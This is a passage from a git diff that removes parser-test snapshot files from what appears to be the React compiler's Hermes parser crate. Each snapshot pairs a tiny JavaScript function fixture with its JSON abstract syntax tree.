-        "loc": null,
-        "range": [
-          21,
-          178
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        178
-      ],
-      "loc": null,
-      "range": [
-        0,
-        178
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    178
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@type-test-field-store.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@type-test-field-store.js.snap
deleted file mode 100644
index 8f1626a27283..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@type-test-field-store.js.snap
+++ /dev/null
@@ -1,272 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/type-test-field-store.js
----
-Input:
-function component() {
-  let x = {};
-  let q = {};
-  x.t = q;
-  let z = x.t;
-  return z;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    29,
-                    30
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    33,
-                    35
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  29,
-                  35
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              25,
-              36
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "q",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    43,
-                    44
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    47,
-                    49
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  43,
-                  49
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              39,
-              50
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    53,
-                    54
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "t",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    55,
-                    56
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  53,
-                  56
-                ]
-              },
-              "right": {
-                "type": "Identifier",
-                "name": "q",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  59,
-                  60
-                ]
-              },
-              "loc": null,
-              "range": [
-                53,
-                60
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              53,
-              61
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    68,
-                    69
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      72,
-                      73
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "t",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      74,
-                      75
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    72,
-                    75
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  68,
-                  75
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              64,
-              76
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "z",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                86,
-                87
-              ]
-            },
-            "loc": null,
-            "range": [
-              79,
-              88
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          90
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        90
-      ],
-      "loc": null,
-      "range": [
-        0,
-        90
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    90
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@type-test-polymorphic.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@type-test-polymorphic.js.snap
deleted file mode 100644
index 8a2dbd5f2d4d..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@type-test-polymorphic.js.snap
+++ /dev/null
@@ -1,480 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/type-test-polymorphic.js
----
-Input:
-function component() {
-  let p = makePrimitive();
-  p + p; // infer p as primitive
-  let o = {};
-
-  let x = {};
-
-  x.t = p; // infer x.t as primitive
-  let z = x.t;
-
-  x.t = o; // generalize x.t
-  let y = x.t;
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "p",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    29,
-                    30
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makePrimitive",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      33,
-                      46
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    33,
-                    48
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  29,
-                  48
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              25,
-              49
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "p",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  52,
-                  53
-                ]
-              },
-              "operator": "+",
-              "right": {
-                "type": "Identifier",
-                "name": "p",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  56,
-                  57
-                ]
-              },
-              "loc": null,
-              "range": [
-                52,
-                57
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              52,
-              58
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "o",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    89,
-                    90
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    93,
-                    95
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  89,
-                  95
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              85,
-              96
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    104,
-                    105
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    108,
-                    110
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  104,
-                  110
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              100,
-              111
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    115,
-                    116
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "t",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    117,
-                    118
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  115,
-                  118
-                ]
-              },
-              "right": {
-                "type": "Identifier",
-                "name": "p",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  121,
-                  122
-                ]
-              },
-              "loc": null,
-              "range": [
-                115,
-                122
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              115,
-              123
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    156,
-                    157
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      160,
-                      161
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "t",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      162,
-                      163
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    160,
-                    163
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  156,
-                  163
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              152,
-              164
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    168,
-                    169
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "t",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    170,
-                    171
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  168,
-                  171
-                ]
-              },
-              "right": {
-                "type": "Identifier",
-                "name": "o",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  174,
-                  175
-                ]
-              },
-              "loc": null,
-              "range": [
-                168,
-                175
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              168,
-              176
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    201,
-                    202
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      205,
-                      206
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "t",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      207,
-                      208
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    205,
-                    208
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  201,
-                  208
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              197,
-              209
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                219,
-                220
-              ]
-            },
-            "loc": null,
-            "range": [
-              212,
-              221
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          223
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        223
-      ],
-      "loc": null,
-      "range": [
-        0,
-        223
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    223
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@type-test-primitive.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@type-test-primitive.js.snap
deleted file mode 100644
index a432c4fa413e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@type-test-primitive.js.snap
+++ /dev/null
@@ -1,156 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/type-test-primitive.js
----
-Input:
-function component() {
-  let x = 1;
-  let y = 2;
-
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    29,
-                    30
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    33,
-                    34
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  29,
-                  34
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              25,
-              35
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    42,
-                    43
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 2.0,
-                  "loc": null,
-                  "range": [
-                    46,
-                    47
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  42,
-                  47
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              38,
-              48
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                59,
-                60
-              ]
-            },
-            "loc": null,
-            "range": [
-              52,
-              61
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          63
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        63
-      ],
-      "loc": null,
-      "range": [
-        0,
-        63
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    63
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@type-test-return-type-inference.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@type-test-return-type-inference.js.snap
deleted file mode 100644
index 9b55f405a170..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@type-test-return-type-inference.js.snap
+++ /dev/null
@@ -1,314 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/type-test-return-type-inference.js
----
-Input:
-function component() {
-  let x = foo();
-  let y = foo();
-  if (x > y) {
-    let z = {};
-  }
-
-  let z = foo();
-  return z;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    29,
-                    30
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "foo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      33,
-                      36
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    33,
-                    38
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  29,
-                  38
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              25,
-              39
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    46,
-                    47
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "foo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      50,
-                      53
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    50,
-                    55
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  46,
-                  55
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              42,
-              56
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  63,
-                  64
-                ]
-              },
-              "operator": ">",
-              "right": {
-                "type": "Identifier",
-                "name": "y",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  67,
-                  68
-                ]
-              },
-              "loc": null,
-              "range": [
-                63,
-                68
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "VariableDeclaration",
-                  "kind": "let",
-                  "declarations": [
-                    {
-                      "type": "VariableDeclarator",
-                      "id": {
-                        "type": "Identifier",
-                        "name": "z",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          80,
-                          81
-                        ]
-                      },
-                      "init": {
-                        "type": "ObjectExpression",
-                        "properties": [],
-                        "loc": null,
-                        "range": [
-                          84,
-                          86
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        80,
-                        86
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    76,
-                    87
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                70,
-                91
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              59,
-              91
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    99,
-                    100
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "foo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      103,
-                      106
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    103,
-                    108
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  99,
-                  108
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              95,
-              109
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "z",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                119,
-                120
-              ]
-            },
-            "loc": null,
-            "range": [
-              112,
-              121
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          123
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        123
-      ],
-      "loc": null,
-      "range": [
-        0,
-        123
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    123
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unary-expr.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unary-expr.js.snap
deleted file mode 100644
index 5eaaa9b7bcb4..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unary-expr.js.snap
+++ /dev/null
@@ -1,867 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/unary-expr.js
----
-Input:
-function component(a) {
-  let t = { t: a };
-  let z = +t.t;
-  let q = -t.t;
-  let p = void t.t;
-  let n = delete t.t;
-  let m = !t.t;
-  let e = ~t.t;
-  let f = typeof t.t;
-  return { z, p, q, n, m, e, f };
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "t",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "t",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          39,
-                          40
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        36,
-                        40
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    34,
-                    42
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  42
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              43
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    50,
-                    51
-                  ]
-                },
-                "init": {
-                  "type": "UnaryExpression",
-                  "operator": "+",
-                  "prefix": true,
-                  "argument": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "t",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        55,
-                        56
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "t",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        57,
-                        58
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      55,
-                      58
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    54,
-                    58
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  50,
-                  58
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              46,
-              59
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "q",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    66,
-                    67
-                  ]
-                },
-                "init": {
-                  "type": "UnaryExpression",
-                  "operator": "-",
-                  "prefix": true,
-                  "argument": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "t",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        71,
-                        72
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "t",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        73,
-                        74
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      71,
-                      74
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    70,
-                    74
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  66,
-                  74
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              62,
-              75
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "p",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    82,
-                    83
-                  ]
-                },
-                "init": {
-                  "type": "UnaryExpression",
-                  "operator": "void",
-                  "prefix": true,
-                  "argument": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "t",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        91,
-                        92
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "t",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        93,
-                        94
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      91,
-                      94
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    86,
-                    94
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  82,
-                  94
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              78,
-              95
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "n",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    102,
-                    103
-                  ]
-                },
-                "init": {
-                  "type": "UnaryExpression",
-                  "operator": "delete",
-                  "prefix": true,
-                  "argument": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "t",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        113,
-                        114
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "t",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        115,
-                        116
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      113,
-                      116
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    106,
-                    116
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  102,
-                  116
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              98,
-              117
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "m",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    124,
-                    125
-                  ]
-                },
-                "init": {
-                  "type": "UnaryExpression",
-                  "operator": "!",
-                  "prefix": true,
-                  "argument": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "t",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        129,
-                        130
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "t",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        131,
-                        132
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      129,
-                      132
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    128,
-                    132
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  124,
-                  132
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              120,
-              133
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "e",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    140,
-                    141
-                  ]
-                },
-                "init": {
-                  "type": "UnaryExpression",
-                  "operator": "~",
-                  "prefix": true,
-                  "argument": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "t",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        145,
-                        146
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "t",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        147,
-                        148
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      145,
-                      148
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    144,
-                    148
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  140,
-                  148
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              136,
-              149
-            ]
-          },
-          {
